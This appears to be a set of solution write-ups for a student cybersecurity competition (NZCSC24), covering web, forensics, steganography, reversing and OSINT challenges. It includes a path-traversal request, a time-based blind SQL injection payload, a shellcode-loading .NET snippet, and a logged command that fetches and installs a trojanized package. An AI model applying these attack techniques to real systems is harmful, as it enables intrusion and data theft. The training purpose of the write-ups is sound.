

NZCSC24 – Round Zero Writeups









Challenges

#	CHALLENGE NAME	CATEGORY	DIFFICULTY	AUTHOR
1	<u>Robots</u>	Web	Very Easy	Atthapan
2	RCVS Exploit	Web	Very Easy	Sam
3	Traversal Troubles	Web	Very Easy	Cale
4	<u>Hidden Flag</u>	Steg	Easy	Kevin
5	Interjection	Forensics	Medium	Cale
6	Behind the Scenes	Rev	Medium	Cale
7	Burren Waffet's Last Hurrah	Steg	Medium	Cale
8	<u>Flag Trader</u>	Misc	Medium	Sam
9	<u>RAM > Disk</u>	Forensics	Hard	Cale
10	<u>rm -rf</u>	Forensics	Hard	Cale
11	Sharp Snake	Rev	Hard	Sam
12	Substitute Teacher	Crypto	Very Easy	Cale
13	<u>Backwards</u>	Steg	Easy	Cale
14	<u>Ret3Win</u>	Pwn	Easy	Cale
15	All Roads Lead to Flags	Steg	Easy	Cale
16	Fragile Lock	Web	Very Easy	Rav
17	<u>Sheeesh</u>	Rev	Easy	Cale
18	Server-Side PDF	Web	Hard	Sam
19	Magic Number	Rev	Very Easy	Vimal
20	Double Canary	Pwn	Very Hard	Josh





🕸 Lightwire





Robots



The robot image hints at the **robots.txt** file which is a file used to let web crawlers (robots) know which pages they are not allowed to visit.



In the **robots.txt** file we can see a disallowed entry for **/cm9ib3RzRGlzYWxsb3dlZEdH.html**. If we browse to the disallowed page, we get the flag.



NZCSC{HhjPKO7ZwAv7qCzQz7p9}











RCVS Exploit



Challenge 2: RCVS



The second article of the site hints at right-clicking to view the source code. Within the source code we can find the flag as a comment.



NZCSC{i am a rcvs haxor}



THE UNIVERSITY OF

Security



Lightwire





Traversal Troubles



For this challenge we are presented with a web page displaying some instructions. Looking at the URL we can see the **file** GET parameter has been prepopulated with **instructions.txt**. This is interesting behaviour, let's see what happens if we provide a different file in the GET parameter (**/etc/passwd** is a default file that almost always exists and is readable on Linux systems).



This doesn't display the file contents as expected. This is likely because the web server expects a relative path which is added onto the web root directory:

e.g. /var/www/html/ + instructions.txt





Traversal Troubles Cont.

The instructions allude to path traversal, an attack used to access files outside of the current directory. Let's see if we can provide a relative path to traverse back to the root directory (/) and access **/etc/passwd**.

../ instructs Linux systems to go up a directory in the directory hierarchy, moving us one step closer to /. Chaining multiple ../ will hopefully get us back to the root directory.



Perfect, now that we know we can read files, we can read the flag from **/flag.txt** as per the instructions in **instructions.txt**.

localhost/challenge3/?file=../../../../flag.txt

NZCSC{A_TRULY_TR34CH3R0US_TR4V3RS4L}

NZCSC{A_TRULY_TR34CH3R0US_TR4V3RS4L}









Hidden Flag

"The flag is securely nestled within the labyrinth. Only those with advanced skills and a tenacious determination can extract it, a testament to the intricate dance of technology and the exhilaration of unravelling digital mysteries that draws hackers into the depths of cyberspace."

For this challenge we are given a file called **ctf.txt** which doesn't appear at first glance to have the flag in it. There must be a reason we were provided this file so let's take a closer look at it. When we open it in CyberChef we can see there are extra bytes that didn't print in a basic text editor.

There is nothing here

Let's take a look at the bytes in hex:

54	68	65	72	65	20	69	73	20	6e	6f	74	68	69	6e	67	20	68	65	72	65	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8c
e2	80	8c	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8b	e2	81	a0	e2	80	8c
e2	80	8b	e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8b									
e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c									
e2	80	8c	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b
e2	80	8b	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8c	e2	81	a0	e2	80	8c
e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8c
e2	80	8b	e2	80	8c	e2	81	aØ	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8b	e2	81	a0	e2	80	8c
e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c
e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8c
e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8b
e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8c
e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8b
e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8b	e2	80	8c									
e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8b	e2	81	a0									
e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8c	e2	80	8b	e2	80	8b	e2	81	a0	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8b
e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8c	e2	80	8c	e2	80	8b	e2	80	8b	e2	80	8c	e2	80	8c	e2	81	a0	e2	80	8c	e2	80	8b

There is clearly a pattern here as the data forms a grid-like structure. Ignoring the "There is nothing here" bytes we actually only have three unique three-byte sequences: **e281a0**, **e2808c**, and **e2808b**. If we google any of those sequences, we can see they are zero-width Unicode characters which are non-printable, it makes sense now why they weren't visible in the file. The flag must be encoded in the order of these sequences, and with only three characters this could either be ternary (base 3), or binary (base 2) with a separator character. Given the relative infrequency of **e281a0**, we can assume this will be a separator character for binary rather than ternary.





Lightwire





Hidden Flag Cont.

If we find and replace each byte sequence with **0**, **1**, and **,** we get what looks like to be binary encoded characters.



Unfortunately, CyberChef has a hard time decoding varying bit-length binary data so let's clean it up and finish off this challenge in python.

```
binary_list = ['1001110','1011010','1000011','1010011','11000011','1111011','1001000','1001101','1010010','1101101','1001001','1101010','1001001','1101000','1011010','1000011','1101000',
'110010','110100','110001','1110011','110111','1111101']
character_list = []
for binary_number in binary_list:
        decimal_number = int(binary_number,2)
        character = chr(decimal_number)
        character_list.append(character)
print("".join(character_list))
```

NZCSC{HMRmHI2JjIs8ZCP241sK}





Lightwire





Interjection

"We created a honeypot database but accidentally put a production flag in it! Luckily, we had Endace hardware running a 100 Gbps packet capture when the attacker hit it and we didn't drop a single packet. Find out what the attacker stole."

This challenge we are provided with a network capture file (PCAPNG) that can be opened in Wireshark.

	pply a display filter <ci< th=""><th>trl-/></th><th></th><th></th><th></th><th>-</th><th>• +</th></ci<>	trl-/>				-	• +
No.	Time	Source	Destination	Protocol	Length Info		
	1 0.000000.	. 192.168.0.103	192.168.0.182	TCP	74 38376 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1270346284 TSecr=0 WS=128		
	2 0.000080.	. 192.168.0.182	192.168.0.103	TCP	74 80 → 38376 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=3262880004 TSecr=1270346284 WS=128		
	3 0.001117.	. 192.168.0.103	192.168.0.182	TCP	66 38376 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1270346285 TSecr=3262880004		
	4 0.001117.	. 192.168.0.103	192.168.0.182	HTTP	219 GET /index.php HTTP/1.1		
	5 0.001196.	. 192.168.0.182	192.168.0.103	тср	66 80 → 38376 [ACK] Seq=1 ACk=154 Win=65024 Len=0 TSval=3262880005 TSecr=1270346285		
	6 0.002225.	. 192.168.0.182	192.168.0.103	TCP	227 80 → 38376 [PSH, ACK] Seq=1 Ack=154 Win=65024 Len=161 TSval=3262880006 TSecr=1270346285 [TCP segment of a reassembled PDU]		
	7 0.002317.	. 192.168.0.182	192.168.0.103	HTTP	454 HTTP/1.1 200 OK (text/html)		
	8 0.003336.	. 192.168.0.103	192.168.0.182	тср	66 38376 → 80 [ACK] Seq=154 Ack=162 Win=64128 Len=0 TSval=1270346287 TSecr=3262880006		
	9 0.004524.	. 192.168.0.103	192.168.0.182	TCP	66 38376 → 80 [FIN, ACK] Seq=154 Ack=551 Win=64128 Len=0 TSval=1270346288 TSecr=3262880006		
	10 0.004561.	. 192.168.0.182	192.168.0.103	TCP	66 80 → 38376 [ACK] Seq=551 Ack=155 Win=65024 Len=0 TSval=3262880008 TSecr=1270346288		
-	11 0.005594.	. 192.168.0.103	192.168.0.182	тср	74 38384 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM TSval=1270346290 TSecr=0 WS=128		
	12 0.005647.	. 192.168.0.182	192.168.0.103	TCP	74 80 → 38384 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK PERM TSval=3262880009 TSecr=1270346290 WS=128		
	13 0.006586.	. 192.168.0.103	192.168.0.182	TCP	66 38384 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1270346291 TSecr=3262880009		
	14 0.006781.	. 192.168.0.103	192.168.0.182	тср	290 38384 → 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=224 TSval=1270346291 TSecr=3262880009 [TCP segment of a reassembled PDU]		
	15 0.006801.	. 192.168.0.182	192.168.0.103	TCP	66 80 → 38384 [ACK] Seg=1 Ack=225 Win=65024 Len=0 TSval=3262880010 TSecr=1270346291		
	16 0.006781.	. 192,168,0,103	192,168,0,182	HTTP	106 POST /search.php HTTP/1.1 (application/x-www-form-urlencoded)		

From the **Protocol Hierarchy Statistics** section of Wireshark, we can see we are only dealing with TCP traffic and we have some HTTP traffic that we may be able to read.

Wireshark · Protocol Hierarchy Statistics · interjection.pcapng

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s	PDUs
✓ Frame	100.0	41484	100.0	4819980	192 k	0	0	0	41484
✓ Ethernet	100.0	41484	12.0	580776	23 k	0	0	0	41484
 Internet Protocol Version 4 	100.0	41484	17.2	829680	33 k	0	0	0	41484
 Transmission Control Protocol 	100.0	41484	70.7	3409524	136 k	34572	2497151	99 k	41484
 Hypertext Transfer Protocol 	16.7	6912	42.0	2024993	81 k	3455	556266	22 k	6912
Line-based text data	0.0	2	0.0	480	19	2	480	19	2
HTML Form URL Encoded	8.3	3455	14.3	690556	27 k	3455	690556	27 k	3455

Filtering by **http** shows a single GET request was made to **/index.php**, followed by thousands of POST requests to **/search.php**. All HTTP requests are made from **192.168.0.103** to **192.168.0.182** so in this case we can assume **192.168.0.103** is the attacker's IP address and **192.168.0.182** is the web server's IP address.

	http				
No.	Time	Source	Destination	Protocol	Length Info
	4 0.001117	192.168.0.103	192.168.0.182	HTTP	219 GET /index.php HTTP/1.1
	7 0.002317	192.168.0.182	192.168.0.103	HTTP	454 HTTP/1.1 200 OK (text/html)
	16 0.006781	192.168.0.103	192.168.0.182	HTTP	106 POST /search.php HTTP/1.1 (application/x-www-form-urlencoded)
	19 0.008516	192.168.0.182	192.168.0.103	HTTP	158 HTTP/1.1 200 OK (text/html)



Security











Interjection Cont.

Let's look at the request to **index.php** by right-clicking on the GET request packet and selecting Follow TCP Stream.

```
<html>
    <body>
        <h1>Machine Manager</h1>
        <h3>Enter machine name to manage</h3>
        <form action='/search.php' method="POST">
            <input type="text" id="machine name" name="machine name">
            <input type="submit" name = "action" value="Status">
            <input type="submit" name = "action" value="Restart">
        </form>
   </body>
</html>
```

We can see we have a basic HTTP form that posts to **/search.php**. This must have been the form the attacker exploited. Let's look at some POST requests. The first post request shows the form being used as intended but the second one includes the character %27 which is a URL-encoded single quote ('). This looks like an attempt at SQL injection.

machine name=WEB SERVER 01%27&action=Status

After looking through and URL-decoding some more of the POST requests, the majority of them are structured the same, lets break one down:

```
machine_name=test' OR (SELECT IF(BINARY(SUBSTRING((SELECT table_name FROM information_schema.tables where
table_schema=database() LIMIT 1), 1, 1)) = 'd', sleep(.3), 'false'));-- -&action=Restart
```

If this was successfully injected into the SQL statement, the database would select the name of the first table in the current database. It would then select a substring of one character (with one offset) and check if it equals the character 'd'. If it did, the database would sleep for .3s. The attacker can cycle through all letters and all offsets of various names to leak information from the database. The attacker can't see any output on the web page but knows when a statement is true because the server takes longer to respond. This is known as a **blind SQL injection timing attack**. There are thousands of requests here so we are going to need to make a script to extract all of the HTTP requests that had a long response time (>.3). A good option for scripting this is the Python **pyshark** library. It allows us to parse packet capture files into an object-like format that we can extract response times from and piece together what the attacker stole from the database. A sample script is included below.

THE UNIVERSITY OF

Security











Interjection Cont.

import pyshark
import re
from tqdm import tqdm # Progress bar

Load all packets in
all_packets = pyshark.FileCapture('./interjection.pcapng')

Load packets with long HTTP response time (> 0.3)
long_responses = pyshark.FileCapture('./interjection.pcapng',display_filter='http.time > 0.3')

Make a list of the HTTP requests that caused long responses
packet_ids = [int(packet.http.request_in) for packet in long_responses]

Extract data from known packet IDs (this can take a while)
payloads = [all_packets[id-1]['urlencoded-form'].value for id in tqdm(packet_ids[2:])]

Extract character from each payload and assemble to string data = ".join([re.search(r'= \'(.*?)\", payload).group(1) for payload in payloads])

Extract flag based on known regex
flag = re.search('NZCSC{.*}\$',data)[0]
assert(flag)

print(flag)

NZCSC{1M4G1N3_B31NG_INJ3CT4BL3_1N_2024}









Behind The Scenes

"What are all those random bytes and what do they do? Note: The executable is safe to run."

For this challenge we are given a Windows executable (.exe). We are told the executable is safe to run so let's try that first. Windows Defender catches the execution as Meterpreter.



That's interesting information that we should keep in mind for later. We can add an exception to Virus and Threat Protection if we want to continue with a dynamic analysis approach but let's take try some static analysis first. From the Linux **file** command, we know this is a .NET assembly. Let's take a look at the exe in the DotPeek decompiler.

```
private static void Main()
ł
  Console.WriteLine("The flag must be around here somewhere...");
  Thread.Sleep(1000);
  IntPtr zero1 = IntPtr.Zero;
  uint lpThreadId = 0;
  IntPtr zero2 = IntPtr.Zero;
  byte[] source = new byte[318]
  {
    (byte) 106,
    (byte) 74,
    (byte) 89,
    (byte) 217,
    (byte) 238,
    (byte) 217,
    (byte) 116,
```

We can see the program prints something to the console and then builds up a hardcoded byte array called **source**. These must be the bytes referred to in the challenge description. Later we can see some functions called on the **source** byte array.

uint num1 = BehindTheScenes.VirtualAlloc(0U, (uint) source.Length, BehindTheScenes.MEM_COMMIT, BehindTheScenes.PAGE_EXECUTE_READWRITE); Marshal.Copy(source, 0, (IntPtr) num1, source.Length); int num2 = (int) BehindTheScenes.WaitForSingleObject(BehindTheScenes.CreateThread(0U, 0U, num1, zero2, 0U, ref lpThreadId), uint.MaxValue);











Behind The Scenes Cont.

Some research into some of these functions such as **CreateThread** suggests that the byte array is directly executed in a thread. Knowing Defender flagged this as Meterpreter, it's likely this is shellcode generated by **msfvenom**. Since we're told the EXE is safe, let's add an exception to Defender and continue with our dynamic analysis. Running the program does exactly what we'd expect from the source code:



Let's open up Procmon and see if we can see the exe doing anything else in the background. We can filter processes by "**Process Name is BehindTheScenes.exe**" to get rid of some noise. Even just a single process is quite noisy but now we can see the program's execution at a much lower level. The key event is that **BehindTheScenes.exe** creates a new PowerShell process. We didn't see this in the source code and this is definitely suspicious.

E Behind The Scenes.exe 24252 Crocess Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Looking at the properties of this event we can see what command line arguments were called on this process creation.

powershell -E JABmAGwAYQBnAD0AIgBOAFoAQwBTAEMAewBjADAAbgBnAHIANAB0AHMAXwB5ADAAdQBfAHcAMQBuAEEAUABJAH0AIgAKAA==

This looks very suspicious and we can decode the encoded command in CyberChef and we get the flag! Turns out the shellcode just sets a variable and wasn't too dangerous after all.

Author note: rather than running the executable on your own system, using a shellcode emulator (e.g. libemu) may be a good option, this also helps with CPU compatibility.



NZCSC{cOngr4ts_yOu_winAPI}





Burren Waffet's Last Hurrah

"Burren Waffet has thrown in the investment towel, but we believe he's left bits of information in the chart we found on his computer."

After downloading the challenge file and opening it in Excel we are presented with what looks like a stock ticker chart.



The challenge description hints there are **bits** encoded in the movement of the chart. As bits can only have two states (0 or 1) we need to find a way to extract whether each bit is 0 or 1. In this case, when the price moves down the bit is a 0 and when the price moves up the bit is a 1. We are provided the prices and we can use the following Excel formula to return 0 when the price decreases and 1 when the price increases:

=IF(A2>A1,1,0)

Pasting the result into CyberChef and decoding from binary reveals the flag:













Flag Trader

"We found someone was obtaining NZCSC flags illegally so we set up a honeypot to catch them out. Can you figure out who is trying to get flags and what they're up to? The TradeMe auction ID is 4717209839."

We can start by searching the auction ID on TradeMe and we find the auction: https://www.trademe.co.nz/a/marketplace/antiques-collectables/flags/listing/4717209839



We notice that the item was sold by **nzcscleaker24** but according to the challenge description, we need to know the buyer. Viewing the **Trademe Feedback** for **nzcscleaker24** reveals the following feedback:

 stagflealer420 (0) Flag format was correct and I am looking forward to submitting it in June. A++ trader 	Saturday, 18 May 2024
nzcscleaker24 was the seller Listing #4717209839	

This **stagflealer420** account must be the one that bought the flag in the auction. This also must be the "someone" that the challenge description was referring to. Let's attempt to track this guy down. Next, we search common social media accounts and find there is a matching Twitter (or X) account with the following posts:









Flag Trader Cont.



If we try to track down what the email in the last post is linked to, the best bet is a GitHub account. We can paste the email into the GitHub search bar and we find the **StagateriusF** user who has one repository called **laptop_backup** which seems interesting.

If we clone the **laptop_backup** repository and unzip it, there is an encrypted zip file on the desktop and we can find the password saved in the **.bash_history** file. Unzipping the zip file gives us the flag.

NZCSC{CONGR4T5_ON_TH3_PR3_R3LE4SE_FL4G}









RAM > Disk

"I was just installing some software on my new OS but I've done something bad, things freeze up when I try basic commands. I've taken a memory dump, investigate."

From the challenge description we know we are dealing with a memory dump (**mem.dmp**). We are also given another zip (**Ubuntu_5.4.0-84-generic_profile.zip**). The contents of the zip and some research will reveal that this is a profile for Volatility 2, a memory forensics utility. Let's load the memory dump into Volatility using the provided profile and check it works by using the basic **linux_banner** plugin.

We can see we are dealing with a Linux (Ubuntu) memory dump so from now on we will use Linux plugins in Volatility. Using various Linux plugins, there are several hints we can collect to build a picture of the forensic scenario. Good places to start include what processes were running at the time of the dump, what commands had been recently run, any ongoing network connections, and any interesting files stored in memory. Let's take a look at some of these.

<pre>\$ python2 vol.py -f</pre>	mem.dmpprofil	.e='LinuxUbuntu_5_4_0-84-generic_profilex64' linux_pstre	e
Volatility Foundatio	n Volatility Fra	mework 2.6.1	
Name	Pid	Uid	
gnome-terminal-	3758	1000	
bash	3768	1000	
su	3778	1000	
bash	3791		
sh	7549		

Some suspicious sh subprocesses



Suspicious established network connection from sh process





Lightwire





RAM > Disk Cont.

<pre>\$ python</pre>	2 vol.py -f mem.dmp -	-profile='LinuxUbuntu_5_4_0-84-	generic_profilex64' linux_bash						
Volatility Foundation Volatility Framework 2.6.1									
Pid	Name	Command Time	Command						
3768	bash	2024-01-11 09:08:39 UTC+0000	su root						
3791	bash	2024-01-11 09:09:03 UTC+0000	apt install curl						
3791	bash	2024-01-11 09:11:53 UTC+0000	apt install vim						
3791	bash	2024-01-11 09:14:23 UTC+0000	PWD=/home/nzcsc						
3791	bash	2024-01-11 09:14:23 UTC+0000	wget http://192.168.1.30/googel-crome-x64_1.1_amd64.deb -O package.deb && sudo dpkg -i package.deb						
3791	bash	2024-01-11 09:14:30 UTC+0000	which chrome						
3791	bash	2024-01-11 09:14:33 UTC+0000	15						

Bash history shows suspicious deb package downloaded and installed (googel-crome-x64.deb) and last command run was "ls"

The challenge description mentions installing software and the above Chrome package is definitely not genuine. Let's try and extract that package from memory and see what it did.



Now let's extract the deb package and see what it contained:



Looks like on install it downloaded a file (**shell**) and outputted it to **/bin/ls**. When the victim ran **ls** it must have executed **shell** rather than the original **/bin/ls**.











RAM > Disk Cont.

We need to find out what the **shell** binary does. Luckily since the victim just ran it, there's a good chance we can also pull that out of the memory dump, let's try.



Running **strings** on the extracted binary instantly confirms we are on the right track when we see the string **decodeFlag**. We definitely know this isn't the standard **Is** binary so let's do some reverse engineering.



We can take a look at the binary in Ghidra, the **decodeFlag** function is of particular interest. The **decodeFlag** function performs some XOR operations to decrypt the flag in memory but it is never printed or used. XOR is reversible so we can create a python script to reverse the operations.

```
hexbytes = '4e145704473c50611726482f70412f701d2e43730178275566087c23453704374a'
enc = bytes.fromhex(hexbytes)

flag = ''
for i,char in enumerate(enc):
    if i>0:
        flag += chr((char ^ (enc[i-1])))
    else:
        flag+=chr(char)

print(flag)
```









RAM > Disk Cont.

BER

ITY

CHALLENGE

С Y S Е С

U

R

Alternatively, we can run the binary using GDB and set a breakpoint after the flag has been decoded in memory by the program. We can then dump the flag from the stack as it is stored in a variable.

<pre>\$ gdb ./binls</pre>
(gdb) break main Breakpoint 1 at 0xa54
\$ (gdb) run Breakpoint 1, 0x0000555555400a54 in main ()
<pre>\$ (gdb) disassemble decodeFlag 0x0000555555400a49 <+335>: call 0x555555400750 <stack_chk_fail@plt> 0x0000555555400a4e <+340>: leave 0x0000555555400a4f <+341>: ret End of assembler dump.</stack_chk_fail@plt></pre>
<pre>\$ (gdb) break decodeFlag+341 Breakpoint 1 at 0x0000555555400a4f</pre>
<pre>\$ (gdb) continue Breakpoint 2, 0x0000555555400a4f in main ()</pre>
<pre>\$ (gdb) x/50s \$sp #Print 50 addresses off the stack as strings 0x7fffffffdc88: "\217\v@UUU" 0x7fffffffdc8f: "" 0x7fffffffdc90: "NZCSC{l1v1ng_1n_m3m0ry_r3nt_fr33}"</pre>

NZCSC{l1v1ng_1n_m3m0ry_r3nt_fr33}









rm -rf

"He deleted his website, deleted all files referencing it, and deleted one of his hard-drives with a hammer. Why bother."

For this challenge we are provided two files: **Disk2.img**, and **Disk3.img**. Looking at the provided files, we can see they are both part of a RAID array.

\$ file Disk2.img
Disk2.img: Linux Software RAID version 1.2 (1) name=kali:0 level=5 disks=3

We can see the RAID array once had 3 disks and is level 5 (RAID 5). RAID 5 uses distributed parity. This means that data and parity is spread across disks so that in the event of a drive failure, the complete array can be rebuilt off N-1 drives. A cool property of this is that since the parity values are calculated using the XOR operation, we can effectively recover the missing disk by XORing the two remaining disks together. We can do that easily using the **pwntools** Python library.

```
from pwn import *
disk2 = read('./Disk2.img')
disk3 = read('./Disk3.img')
disk1 = xor(disk2,disk3)
write('Disk1.img', disk1)
```

Now that we have all three disks, we can rebuild the RAID array into one logical drive:

\$ sudo losetup /dev/loop1 Disk1.img
\$ sudo losetup /dev/loop2 Disk2.img
\$ sudo losetup /dev/loop3 Disk3.img







Lightwire





rm -rf Cont.

Now we have the rebuilt RAID array as a Linux device file (**/dev/md/rebuilt.md**). We could try mounting the FAT16 file-system to a folder but unfortunately, it's empty. We can also try to run strings across the device but there doesn't appear to be anything helpful.

<pre>\$ sudo strings /dev/md/rebuilt.img</pre>
mkfs.fat OuNO NAME FAT16 This is not a bootable disk. Please insert a bootable floppy and press any key to try again HROCH~1 No-Shortcuts-Using-Strings

The challenge description hinted that the file may have been deleted. We can try and recover it with the forensic tool **Autopsy**. The disk should be loaded in as a FAT16 partition as we saw in the strings output.

	ent Director	U: C:/ Generate MD5 List of Files							
DEL	Type <u>dir</u> / <u>in</u>		WRITTEN	Accessed	CREATED	Size	UID	GID	МЕТА
Error I V/V 30	Parsing File 974118: \$Orp	(Invalid Characters?): bhanFiles 0000-00-00 00:00:00 (UTC) 00	000-00-00 00:00:00 (UTC) 0000-00-00 00:00:0	00 (UTC) 0000-00-00 00:00:00 (UTC) 0 0 0				
	v / v	<u>\$FAT1</u>	0000-00-00 00:00:00 (UTC)	0000-00-00 00:00:00 (UTC)	0000-00-00 00:00:00 (UTC)	96256	0	0	<u>3074116</u>
	v / v	<u>\$FAT2</u>	0000-00-00 00:00:00 (UTC)	0000-00-00 00:00:00 (UTC)	0000-00-00 00:00:00 (UTC)	96256	0	0	<u>3074117</u>
	v/v	\$MBR	0000-00-00 00:00:00 (UTC)	0000-00-00 00:00:00 (UTC)	0000-00-00 00:00:00 (UTC)	512	0	0	<u>3074115</u>
~	r/r	<u>aHR0cHM6Ly9wYXN0ZWJpbi5jb20v03l0UUhCa1M=</u>	2023-12-01 04:56:52 (NZDT)	2023-12-01 00:00:00 (NZDT)	2023-12-01 04:56:53 (NZDT)	30	0	0	2

A deleted file listing, cool! The filename looks to be base64 encoded so let's decode that.



Interesting let's see what lies at that link:

endace











rm -rf Cont.

It looks like the Pastebin page has also been deleted, the challenge description checks out. Luckily something may have archived this page when it was active, let's try the WayBack Machine.

Calendar Collections Changes Summary Site Map URLs Saved 1 time November 30, 2023. Saved 1 time November 30, 2023. Saved 1 time November 30, 2023. Saved 1 time November 30, 2023.			×			er time	aved ove	pages s	on web QHBkS	866 billi om/CyN	re than stebin.c	olore mo	е С	сніv OChin	et ar	TERNE		DONA				
					Ls	· URI	Мар	· Site	m ary , 2023.	Sumr	ges · Novem	Chan time	ns ·	ollectio	· C	alendar	Са					
101 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022	023 2024	2022 202	2021	2020	2019	2018	2017	2016	2015	2014	2013	2012	2011	2010	2009	2008	006 2007	2005 20	2004	2003	2002)01

The Pastebin page was archived in 2023 before it was deleted. We can now see the original post by the user "D3L3T3D" that contains the flag.



NZCSC{D3L3T3D_BUT_N3V3R_FORGOTTEN}









Sharp Snake

"We found some malware that "pops calc.exe" ... can you reverse it and figure out how it works?"

For this challenge we are given a Windows executable (EXE) that appears to be a malware sample. On initial startup we are greeted with the following prompt:

Form1	-		×
Did you disable Wind	lows Defe	nder?	
Yes I did	Yes	of cours	e

If we don't disable Defender before clicking one of the buttons, we will get a Threat Found popup:

Threat quarantined 5/19/2024 11:32 AM	Severe \land
Detected: Virus:DOS/EICAR_Test_File Status: Quarantined Quarantined files are in a restricted area where they can't harm They will be removed automatically.	your device.
Date: 5/19/2024 11:32 AM Details: This program is dangerous and replicates by infecting of	other files.
Affected items: file: C\Users\user\AppData\Local\Temp\0784867f- af99-4b54-8873-9575a0c89d8d.hackerman.exe	
Learn more	
Ad	ctions 🗸

Upon further investigation of this file and googling **EICAR Test File** we discover it is just a file used to test antivirus protection. Note we also don't see the expected calculator popup. After disabling Defender and retrying the above, we get a **calc.exe** popup in a new window. We also might see a black popup appear on screen. Now that we have the malware executing let's do some dynamic analysis.

Let's open SysInternals' procmon and filter for FormyMcForm.exe and only the CreateFile and Process Create events. One of the events we see is the hackerman.exe creation. This appears to just be a part of the EICAR Test file and a potentially what the program uses to detect if Defender is running or not.

LL: 19: Is tomy Mctom exe	//III = I reateble	:\! isers\user\! jownloads\oje {/ dil	NAME NOT FOUND
11:39: FormyMcForm.exe	7700 CreateFile	C:\Users\user\AppData\Local\Temp\1c27e492-aafc-43f7-8a15-581639216ee5.hackeman.exe	SUCCESS
11:39: FormyMcForm.exe	7700 CreateFile	C:\Users\user\AppData\Local\Temp\1c27e492-aafc-43f7-8a15-581639216ee5.hackerman.exe	SUCCESS
11:39: FormyMcForm.exe	7700 🐂 Create File	C:\Windows\Globalization\ICU\timezoneTypes.res	SUCCESS
11:39: The FormyMcForm.exe 11:39: FormyMcForm.exe 11:39: FormyMcForm.exe	1c27e492-aafc-43f7-8a15-581639216ee5.hackerman.exe.txt File Edit Format View Help	- Notepad	
11:39: FormyMcForm.exe 11:39: FormyMcForm.exe	X50!P%@AP[4\PZX54(P^)7CC)7}\$EICAR-STANDAR)-ANTIVIRUS-TEST-FILE!\$H+H*	
	THE UNIVERSITY O		

Lightwire

FIRST WATCH







Sharp Snake Cont.

Also interesting is a lot of created files under a temp directory that end in **.pyd** and **.dll** with lots of references to Python or "Python-like" things. Near the very end of the events is a **Process Start** which appears to be starting a Python interpreter and pointing it at another temp file.

11.00	- Formy morion case	7700 📷 Greaterine	с, козона казон у фремака казона клопер каза разо воза тако въто дазвовда и тър	3000233
11:39:	FormyMcForm.exe	7700 🐂 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\libffi-7.dll	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2t744b\libffi-7.dll	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2t744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\libssl-1_1.dll	SUCCESS
